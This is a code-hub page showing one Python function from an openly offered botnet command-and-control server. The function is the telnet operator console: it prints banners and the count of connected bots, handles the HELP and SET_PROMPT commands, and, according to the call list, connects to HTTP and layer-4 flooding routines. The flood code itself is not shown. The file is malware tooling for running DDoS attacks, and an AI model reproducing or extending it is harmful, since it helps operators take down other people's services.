MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / command_line

Function command_line

BOTNETc2_offline_user/cnc.py:424–713  ·  view source on GitHub ↗
(client)

Source from the content-addressed store, hash-verified

422
423# Telnet Command Line
424def command_line(client):
425 global socket_loader
426 global otp_code
427 global DATA_TEXT
428 global TIITLE_MESSAGE
429 global message_test
430 loadering(client)
431 color_random = color()
432 for x in banner_2.split('\n'):
433 send(client,f'{color_random}'+x)
434 time.sleep(0.2)
435 send(client,f'{color_random}')
436 send(client, f"{Fore.GREEN}WELCOME TO BOTNET.CNC -> USER-{user_name} BOTNET-{len(bots)} 📡")
437 send(client, f"{Fore.YELLOW} credit: NixWasHere/NixC2 OWNER code")
438 prompt = f'{Fore.CYAN}BOT.c2 {Fore.GREEN}$ '
439 send(client, prompt, False)
440
441 while 1:
442 try:
443 data = client.recv(99999999).decode().strip()
444 if not data:
445 continue
446
447 args = data.split(' ')
448 command = args[0].upper()
449
450 color_random = color()
451 if command == 'HELP':
452 loadering(client)
453 color_random = color()
454 for x in banner.split('\n'):
455 send(client,f'{color_random}'+x)
456 time.sleep(0.2)
457 data = ""
458 if len(args) == 2:
459 data = args[1]
460 color_random = color()
461 if "ALL_TOOL" in data:
462 for x in help.split('\n'):
463 send(client,f'{color_random}'+x)
464 else:
465 color_random = color()
466 for x in help.split('\n'):
467 send(client,f'{color_random}'+x)
468 color_random = color()
469 send(client,f'{color_random}YOU CAN USE THIS COMMAND -->')
470 send(client,f'{color_random}HELP [MODE]')
471 send(client,f'{color_random}[MODE] --> ALL_TOOL')
472 elif command == "SET_PROMPT":
473 data_prompt_checker = "YES"
474 prompt_code = ""
475 prompt_code_color = ""
476 if len(args) == 3:
477 prompt_code = args[1]
478 prompt_code_color = args[2]
479 if prompt_code == "OLD_PROMPT":
480 prompt = f'{Fore.CYAN}BOT.c2 {Fore.GREEN}$ '
481 elif prompt_code == "OLD_PROMPT2":

Callers

nothing calls this directly

Calls 11

colorFunction · 0.85
color2Function · 0.85
loaderingFunction · 0.70
sendFunction · 0.70
get_locationFunction · 0.70
broadcastFunction · 0.70
all_layer4Function · 0.70
http_flooding_sent1Function · 0.70
all_sent1Function · 0.70
http_req_allFunction · 0.70
http_req2Function · 0.70

Tested by

no test coverage detected